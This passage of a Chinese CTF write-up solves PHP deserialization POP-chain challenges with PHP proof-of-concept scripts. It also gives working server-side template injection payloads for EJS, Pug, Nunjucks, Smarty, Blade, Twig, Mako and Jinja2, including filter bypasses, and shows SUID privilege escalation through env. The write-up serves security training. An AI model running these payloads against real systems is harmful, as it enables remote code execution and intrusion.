这一题的入口在 Chrysalis::__wakeup(),因为 unserialize() 时会自动调用它,而里面执行的是 $this->vector->catalyze()。所以最外层对象可以先放成 Chrysalis,让反序列化一开始就进入链子。

接着让 Chrysalis$vector 指向 Lattice。在 Lattice::catalyze() 里,会继续调用 $this->facet->surge()。这里如果把 $facet 设成 Stratum,由于 Stratum 本身没有 surge() 这个方法,就会触发 Stratum::__call()

Stratum::__call() 里先执行 $f = $this->binding->$name。因为这里访问的是不存在的属性,所以只要把 $binding 指向 Lexicon,就会触发 Lexicon::__get(),并返回 $this->ambit。这样 $f 实际上就变成了我们可控的对象。

下一行是 return $f(),说明 $f 需要能被当作函数调用,所以把 Lexicon$ambit 设成 Pulsar。对象形式调用会触发 Pulsar::__invoke(),而这个方法里有 echo $this->token

这样一来,再把 Pulsar$token 设成 Mirage 对象,echo 时就会自动触发 Mirage::__toString()。真正的危险点就在这里,只要 Mirage$latchtrue,就会执行 eval($this->a)

因此最后只需要把 Mirage$latch 设为 true,再把 $a 填成命令执行代码,整条链子就是 Chrysalis::__wakeup() -> Lattice::catalyze() -> Stratum::__call() -> Lexicon::__get() -> Pulsar::__invoke() -> Mirage::__toString() -> eval()

POC

EZPOP_4

这一题的触发点在 ObsidianSanctum::__destruct()。析构时会先判断 md5(md5($this->note)) == md5($this->gate),只要让 $note = "1",再把 $gate 设成 md5("1"),也就是 c4ca4238a0b923820dcc509a6f75849b,这个条件就能成立。

条件通过之后,会继续判断 isset($this->echoer),然后执行 $this->echoer->flare = $this->flareValue。这里的关键是原类中的 $echoerprivate,所以序列化时不能直接靠外部正常赋值,只能先用 public 占位生成序列化字符串,再把属性名替换成真正的私有属性名 \0ObsidianSanctum\0echoer

接着看赋值目标,如果把 $echoer 指向 SpectralPrism,那么给不存在的属性 flare 赋值时,就会触发 SpectralPrism::__set()。而 __set() 里要求 $name === "flare"$value === "ignite",所以把 ObsidianSanctum$flareValue 设成 ignite 即可进入后续逻辑。

进入 __set() 后,代码会取出 $this->engine 赋给 $runner,并检查 is_callable($runner)。因此这里让 SpectralPrism$engine 指向 RuntimeScript 对象,就能在后面的 $runner($this->payload) 里触发 RuntimeScript::__invoke()

最后 RuntimeScript::__invoke() 会对传入的 $source 执行 eval(),所以只需要把 SpectralPrism$payload 设成命令执行代码即可。整条利用链就是 ObsidianSanctum::__destruct() -> SpectralPrism::__set() -> RuntimeScript::__invoke() -> eval()

POC

php
<?php
class ObsidianSanctum {
    public $note = "1";
    public $flareValue = "ignite";
    protected $gate = "c4ca4238a0b923820dcc509a6f75849b";
    public $echoer;
}
class SpectralPrism {
    public $engine;
    public $payload = "system('cat /flag');";
}
class RuntimeScript {

}
$o = new ObsidianSanctum();
$s = new SpectralPrism();
$r = new RuntimeScript();
$s->engine = $r;
$o->echoer = $s;

$data = serialize($o);
$data = str_replace('s:6:"echoer";', 's:23:"' . "\0ObsidianSanctum\0echoer" . '";', $data);
echo urlencode($data);

?>

EZPOP_5

这一题的关键卡点在 ChronoVault::__wakeup()。正常情况下,反序列化时会把 $token 重置成 none,再把 $isAdmin 重置成 false,这样析构时的条件就永远进不去。

但题目环境是老版本 PHP,可以利用 CVE-2016-7124 这一类 __wakeup() 绕过。做法就是先正常构造对象,再把序列化结果里 ChronoVault 的属性数量从真实的 4 改成更大的值,让 unserialize() 时跳过 __wakeup(),这样我们伪造进去的 $token$isAdmin 就能保留下来。

条件保住之后,ChronoVault::__destruct() 会执行 $this->bridge->fire($this->memo)EventBridge 里并没有 fire() 这个方法,所以这里会自动触发 EventBridge::__call(),而 __call() 里直接执行的是 ($this->engine)()

这说明 engine 只需要是一个可调用对象即可,因此最短链就是让 EventBridge$engine 直接指向 ExecutionSandbox。因为 ExecutionSandbox 本身实现了 __invoke(),所以对象函数调用时会直接进入 ExecutionSandbox::__invoke()

最后的利用点就在 ExecutionSandbox::__invoke() 里的 eval($this->script)。虽然代码会用 preg_match("/flag/i", $this->script) 过滤掉直接出现的 flag,但这题实际不需要命令执行去读文件,因为 flag 就在 phpinfo() 的输出里,所以把 $script 设成 phpinfo(); 即可。

整条链子就是:绕过 ChronoVault::__wakeup(),保留伪造的 $token$isAdmin,然后在 ChronoVault::__destruct() 里触发 EventBridge::__call(),再进入 ExecutionSandbox::__invoke(),最终通过 eval() 执行 phpinfo();

POC

php
<?php
class ChronoVault {
    public $memo = "guest";
    protected $token = "QCCTFyyds";
    private $isAdmin = true;
    public $bridge;
}
class EventBridge {
    public $engine;
}
class ExecutionSandbox {
    public $script = "phpinfo();";
}

$o = new ChronoVault();
$b = new EventBridge();
$s = new ExecutionSandbox();

$b->engine = $s;
$o->bridge = $b;

$data = serialize($o);
$data = preg_replace('/^O:\d+:"ChronoVault":4:/', 'O:11:"ChronoVault":5:', $data);
echo urlencode($data);
?>

EZPOP_6

这一题的链子非常短,入口就在 A::__destruct()。对象销毁时,如果 $obj 还是一个对象,就会执行 echo $this->obj,而 echo 对象时会自动触发 __toString()

所以第一步就是让 A$obj 指向 B。这样在 A::__destruct() 里输出 B 对象时,就会进入 B::__toString()。而 B::__toString() 里直接调用的是 $this->data->run(),因此再让 B$data 指向 C 对象,就能继续进入 C::run()

真正返回 flag 的条件在 C::run() 里,只有当 $qcctf === "get_flag" 时,才会返回 $GLOBALS['flag']。如果直接把这个值写成 get_flag,传参时会被外层的 str_replace("flag", "", $_GET['data']) 删掉,导致反序列化后的属性值不对。

不过这里的过滤发生在 unserialize() 之前,所以可以反过来利用这一点。只要先把序列化串里的 get_flag 替换成 get_flflagag,服务端在执行 str_replace("flag", "", $_GET['data']) 之后,就会把中间那段 flag 删掉,最终还原成真正想要的 get_flag

这样一来,整条链子就是 A::__destruct() -> B::__toString() -> C::run(),同时利用前置的字符串替换把 $qcctf 修正回 get_flag,最后就能正常拿到 flag

POC

php
<?php
class A {
    public $obj;
}

class B {
    public $data;
}

class C {
    public $qcctf = "get_flag";
}

$a = new A();
$b = new B();
$c = new C();
$b->data = $c;
$a->obj = $b;
$poc = serialize($a);
$data = str_replace("flag","flflagag" , $poc);
echo $data;

?>

EZPOP_7

这一题先看对可控 GET 变量 data 的限制。第一层限制是:

php
$data = $_GET['data'];
if (!is_printable($data)) {
    die("Nope");
}

is_printable() 会逐字节检查传入字符串,要求所有字符都落在 ASCII 32125 之间。问题在于,PHP 序列化 protectedprivate 属性时,会自动在属性名里插入不可见的空字节 \x00。这个字符的 ASCII0,显然过不了 is_printable()

绕过点就在 PHP 反序列化对大写 S 的处理上。普通字符串是小写 s,里面放的是真实字节;如果把它改成大写 S,就可以在字符串内容里使用转义形式。也就是说,原本会出现空字节的属性名可以从 s:5:"\x00*\x00id" 改写成 S:5:"\00*\00id",这样传输时看到的都是可见字符,但反序列化时 PHP 会把 \00 还原回真正的 \x00

第二层限制是:

php
$obj = @unserialize($data);
if (!($obj instanceof VaultC)) {
    die("Nope");
}

这说明最外层入口对象必须是 VaultC,所以整条链子必须从 VaultC::__wakeup() 起。

再看终点,真正的危险点在 VaultD::__invoke() 里的 eval()

php
if (isset($obj->token) && $obj->token === "QCCTFyyds") {
    if (is_string($obj->name) && stripos($obj->name, "flag") === false) {
        eval($obj->name);
    }
}

这里要求传入的对象同时满足三个条件:一是有 token 属性且值严格等于 QCCTFyyds,二是 name 必须是字符串,三是 name 里不能直接出现 flag。所以我们最终要控制的其实就是 VaultC 对象本身,让它拥有:

  • $id = new VaultD()
  • $token = "QCCTFyyds"
  • $name = "system('cat /fla*');"

之所以把命令写成 cat /fla*,是因为 stripos($obj->name, "flag") === false 会拦截直接出现的 flag,但通配符形式不包含连续的 flag 字样,依然可以匹配到目标文件。

触发链也很直接。VaultC::__wakeup() 里先取出 $this->id 赋给 $name,然后执行:

php
$name($this);

如果让 $this->id 指向 VaultD 对象,那么这里就会触发 VaultD::__invoke(),而传进去的参数正是当前这个 VaultC 对象本身。这样 VaultD::__invoke() 看到的 $obj 就正好是我们伪造好的 VaultC

所以这题其实不需要绕远链,最短利用路径就是:VaultC::__wakeup() -> VaultD::__invoke() -> eval()。难点不在链子,而在两个限制条件:一是入口对象必须是 VaultC,二是 protected 属性名里的空字节要靠大写 S\00 绕过 is_printable()

POC

php
<?php
class VaultC {
    public $name = "system('cat /fla*');";
    protected $id;

    public function __construct() {
        $this->id = new VaultD();
    }
}

class VaultD {}

$a = new VaultC();
$a->token = "QCCTFyyds";
echo urlencode(serialize($a));

先生成普通序列化串,再把其中表示 protected 属性名的这一段:

txt
s:5:"%00*%00id"

改成:

txt
S:5:"\00*\00id"

也就是把小写 s 改成大写 S,同时把 %00 改成 %5C00,这样就能在保持全串可打印的前提下,让反序列化时还原出真正的 protected 属性名。

EZPOP_8

这一题的入口还是在 StarRailCabin::__destruct()。只要 $needle 被设置过,就会先把它强转成字符串赋给 $n,然后检查三个条件:长度不能大于 5,必须是数字,而且数值要大于 999999

这几个条件放在一起看,其实是在逼我们构造一个“看起来长度不超过 5,但数值比较时又能大于 999999”的值,可以用科学记数法绕过。后面一旦通过检查,就会执行 $gate->partner = "QingCen",而 partnerCatCafeGate 里并不存在,所以这里会触发 CatCafeGate::__set()

进入 CatCafeGate::__set() 之后,先取出 $this->fortuneTeller 赋给 $oracle,然后执行 $oracle()。因此这里需要让 $fortuneTeller 是一个可调用对象或可调用形式,并且返回值正好等于 QingCen。条件成立后,又会继续取出 $this->sparkler 赋给 $engine,再执行 $engine()

这说明 $sparkler 也必须是一个可调用对象,所以最自然的做法就是放一个 KleeFirework 对象。因为 KleeFirework 实现了 __invoke(),对象函数调用时会进入 KleeFirework::__invoke(),然后取出 $spell$scroll,执行 $cast($words)

所以最后的利用点就在这里:把 $spell 设成一个可调用函数,把真正要执行的内容放进 $scroll,这样整条链子就会变成 StarRailCabin::__destruct() -> CatCafeGate::__set() -> KleeFirework::__invoke() -> $cast($words)

这一题还有一个额外的坑,不在对象链本身,而在参数名。源码里取的是 $_GET["data_qc.bz2"],但 PHP 解析 GET 参数名时,空格、.[ 都会参与特殊处理。正常直接传 data_qc.bz2=... 的话,参数名里的 . 会被转换成 _,最后进到 $_GET 里的键名就不是源码里要取的那个了。

解决办法就是把传入的变量名写成 data[qc.bz2。原因是 PHP 在解析参数名时,一旦遇到 [,就会把它当成数组语法的开始,这样后面的 . 就不会再被转换掉。也就是说,题目虽然代码里写的是 $_GET["data_qc.bz2"],但真正传参时要用 data[qc.bz2 这个名字去卡住 PHP 的参数名解析规则。

POC

php
<?php
final class StarRailCabin {
    public $catDoor;
    public $needle = "5e555";
}

final class CatCafeGate {
    public $fortuneTeller;
}

final class KleeFirework {
    public $spell = "system";
    public $scroll = "cat /flag;";
}

$s = new StarRailCabin();
$c = new CatCafeGate();
$k = new KleeFirework();
$c->fortuneTeller = $k;
$s->catDoor = $c;
echo serialize($s);

?>

EZSSTI

Node.js 的,<%= 7*7 %> 检测返回 49 ,是 EJS 引擎,直接读<%= global.process.mainModule.require('child_process').execSync('cat /flag') %>

EZSSTI_1

还是 Node.js ,#{7*7} 返回 49 ,是 Pug 引擎,#{global.process.mainModule.require('child_process').execSync('cat /flag')} 这里需要查看源代码找到 flag 。

EZSSTI_2

是 Nunjucks ,{{"".constructor.constructor("return this.process.mainModule.require('child_process').execSync('cat /flag').toString()")()}}

EZSSTI_3

用 whatweb 看一下是 php 的,测试是 Smarty ,{system('cat /flag')}

EZSSTI_4

还是 php 的,Blade 的,@php system("cat /flag"); @endphp

EZSSTI_5

还是 php ,Twig 的,{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}

EZSSTI_6

经过测试发现是 Mako 。${__import__('os').popen('cat /flag').read()}

EZSSTI_7

经过测试发现是 Jinja2 。{{"".__class__.__bases__[0].__subclasses__()}} 返回的有过滤,查看源代码找到返回的,用脚本找到os._wrap_close 是第141个,所以{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}

EZSSTI_8

还是 Jinja2。还用上一题的,{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}

EZSSTI_9

还能出,{{"".__class__.__bases__[0].__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}

EZSSTI_10

有过滤,写个脚本看看。

过滤了下面的

python
__class__
==================================================
__base__
==================================================
__subclasses__
==================================================
__globals__
==================================================
import
==================================================
self
==================================================
session
==================================================
lipsum
==================================================
cycler
==================================================
namespace
==================================================
Joiner
==================================================
get_flashed_messages

url_for 没被过滤,用这个{{url_for.__globals__['os'].popen('cat /flag').read()}},这里面的关键字用 join 换一下。

python
globals  dict(glob=a,al=b)|join

{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('cat /flag').read()}}

EZSSTI_12

上一题还能用,{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('cat /flag').read()}}

EZSSTI_13

cat /flag 没结果,但是命令是可以正常执行的,而且 static 目录也进不去。这里卡住了,看了下康可师傅的 wp ,得 suid 提权,同时队友说 env 有个 hint ,看一下。

txt
HOSTNAME=29bee48b6372
OLDPWD=/opt/___web_very_strange_42___
PORT=80
HOME=/opt/___web_very_strange_42___
PYTHONUNBUFFERED=1
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78
WERKZEUG_SERVER_FD=3
PYTHONDONTWRITEBYTECODE=1
HINT=用我提个权吧
PATH=/usr/local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.11.14
PWD=/opt/___web_very_strange_42___

再结合康神的 wp ,预期解应该是 env 后看到提示,然后想到 suid 提权,然后用/usr/local/bin/env提权。

先找一下可以用来提权的。

{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('find / -perm -4000 -type f 2>/dev/null').read()}}

txt
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/umount
/usr/bin/passwd
/usr/local/bin/env

正好就有/usr/local/bin/env,所以{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('/usr/local/bin/env cat /flag').read()}}

EZSSTI_14

无回显,写入静态文件,{{url_for[dict(__glob=a,als__=b)|join]['os'].popen('mkdir -p /app/static;cat /flag > /app/static/1.txt 2>&1').read()}},再访问/static/1.txt

SSTI 漏洞
Java基础

评论区

评论加载中...